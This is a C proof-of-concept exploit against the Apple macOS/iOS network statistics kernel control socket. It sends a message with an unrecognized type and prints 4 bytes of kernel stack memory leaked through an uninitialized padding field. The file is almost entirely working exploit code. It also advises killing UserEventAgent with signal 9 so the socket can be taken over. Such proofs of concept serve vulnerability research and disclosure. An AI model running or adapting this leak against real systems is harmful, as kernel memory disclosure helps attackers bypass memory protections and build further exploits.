/*
 * By Fermin J. Serna - fjserna@gmail.com - @fjserna
 * http://zhodiac.hispahack.com
 * May/08/2014
 *
 * Some code ripped from: http://newosxbook.com/src.jl?tree=listings&file=17-1-lsock.c
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>

#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <time.h>


// sys/sys_domain.h
#define SYSPROTO_CONTROL        2
#define AF_SYS_CONTROL          2

// sys/kern_control.h
#define MAX_KCTL_NAME   96

struct ctl_info {
    u_int32_t   ctl_id;                                 /* Kernel Controller ID  */
    char        ctl_name[MAX_KCTL_NAME];                /* Kernel Controller Name (a C string) */
};

struct sockaddr_ctl {
    u_char              sc_len;         /* depends on size of bundle ID string */
    u_char              sc_family;      /* AF_SYSTEM */
    u_int16_t   ss_sysaddr;     /* AF_SYS_KERNCONTROL */
    u_int32_t   sc_id;          /* Controller unique identifier  */
    u_int32_t   sc_unit;        /* Developer private unit number */
    u_int32_t   sc_reserved[5];
};


#define CTLIOCGINFO     _IOWR('N', 3, struct ctl_info)  /* get id from name */


// bsd/net/ntstat.h

#define	NET_STAT_CONTROL_NAME	"com.apple.network.statistics"

typedef u_int32_t       nstat_provider_id_t;

enum
{
        // generic response messages
        NSTAT_MSG_TYPE_SUCCESS                  = 0
        ,NSTAT_MSG_TYPE_ERROR                   = 1

        // Requests
        ,NSTAT_MSG_TYPE_ADD_SRC                 = 1001
        ,NSTAT_MSG_TYPE_ADD_ALL_SRCS            = 1002
        ,NSTAT_MSG_TYPE_REM_SRC                 = 1003
        ,NSTAT_MSG_TYPE_QUERY_SRC               = 1004
        ,NSTAT_MSG_TYPE_GET_SRC_DESC            = 1005
        ,NSTAT_MSG_TYPE_SET_FILTER              = 1006

        // Responses/Notfications
        ,NSTAT_MSG_TYPE_SRC_ADDED               = 10001
        ,NSTAT_MSG_TYPE_SRC_REMOVED             = 10002
        ,NSTAT_MSG_TYPE_SRC_DESC                = 10003
        ,NSTAT_MSG_TYPE_SRC_COUNTS              = 10004
};


typedef struct nstat_msg_hdr
{
	u_int64_t	context;
	u_int32_t	type;
	u_int32_t	pad; // unused for now
} nstat_msg_hdr;

typedef struct nstat_msg_add_src
{
        nstat_msg_hdr           hdr;
        nstat_provider_id_t     provider;
        u_int8_t                        param[];
} nstat_msg_add_src_req;

typedef struct nstat_msg_error
{
	nstat_msg_hdr	hdr;
	u_int32_t		error;	// errno error
} nstat_msg_error;

enum
{
        NSTAT_PROVIDER_ROUTE    = 1
        ,NSTAT_PROVIDER_TCP     = 2
        ,NSTAT_PROVIDER_UDP     = 3
        ,NSTAT_PROVIDER_IFNET   = 4
};

typedef struct nstat_route_add_param
{
        union
        {
                struct sockaddr_in      v4;
                struct sockaddr_in6     v6;
        } dst;
        union
        {
                struct sockaddr_in      v4;
                struct sockaddr_in6     v6;
        } mask;
        u_int32_t       ifindex;
} nstat_route_add_param;



int setup_socket(void) {

        struct sockaddr_ctl sc;
        struct ctl_info ctlInfo;
        unsigned int num = 0;
        int fd;

        memset(&ctlInfo, 0, sizeof(ctlInfo));
        if (strlcpy(ctlInfo.ctl_name, NET_STAT_CONTROL_NAME, sizeof(ctlInfo.ctl_name)) >= sizeof(ctlInfo.ctl_name)) {
                fprintf(stderr,"CONTROL NAME too long");
                return -1;
        }

        if ((fd = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL)) == -1) {
                fprintf(stderr,"socket(SYSPROTO_CONTROL): %s", strerror(errno));
                return -1;

        }

        if (ioctl(fd, CTLIOCGINFO, &ctlInfo) == -1) {
                fprintf(stderr,"ioctl(CTLIOCGINFO): %s", strerror(errno));
                close(fd);
                return -1;
        }

        memset(&sc, 0, sizeof(sc));
        sc.sc_id = ctlInfo.ctl_id;
        sc.sc_len = sizeof(sc);
        sc.sc_family = AF_SYSTEM;
        sc.ss_sysaddr = AF_SYS_CONTROL;
//        sc.sc_unit = num + 1;           /* zero means unspecified */
        sc.sc_unit = 0;           /* zero means unspecified */

        if (connect(fd, (struct sockaddr *)&sc, sizeof(sc)) == -1) {
                fprintf(stderr,"connect(AF_SYS_CONTROL): %s\n", strerror(errno));

		if (errno == EBUSY )
		{
		   printf("Apparently some other process is using the system socket. "
		   "On iOS, this is usually UserEventAgent. Kill it (-9!) and immediately start this program\n");
		}

                close(fd);
                return -1;
        }
         return fd;
}


int main (int argc, char **argv) {
char *data;
nstat_msg_add_src_req *req;
nstat_route_add_param *rt;
ssize_t rc;
unsigned int min, max;

 int fd=setup_socket();

 if (fd==-1) {
     fprintf(stderr,"Unable to continue without socket\n");
     exit(1);
 }

 data=calloc(sizeof(nstat_msg_add_src_req)+sizeof(nstat_route_add_param),1);
 if (data==NULL) {
     fprintf(stderr,"Unable to allocate data\n");
     exit(1);
 }

 req=(nstat_msg_add_src_req *)data;

 req->hdr.type=31337; // <-------------- some unrecognized ID
 req->hdr.context=0x4141414142424242;
 req->provider=NSTAT_PROVIDER_ROUTE;

 if (write(fd,data,sizeof(nstat_msg_add_src_req)+sizeof(nstat_route_add_param))==-1) {
   fprintf(stderr,"Unable to send request to the socket\n");
   free(data);
   exit(1);
 }

 rc=read(fd,data,sizeof(nstat_msg_add_src_req)+sizeof(nstat_route_add_param));
 if (rc==-1) {
   fprintf(stderr,"Unable to read response from the socket\n");
   free(data);
   exit(1);
 }

 req=(nstat_msg_add_src_req *)data;
 printf("Leaked 4 bytes at the kernel stack: %#x\n",req->hdr.pad);

 free(data);

 return (0);

}

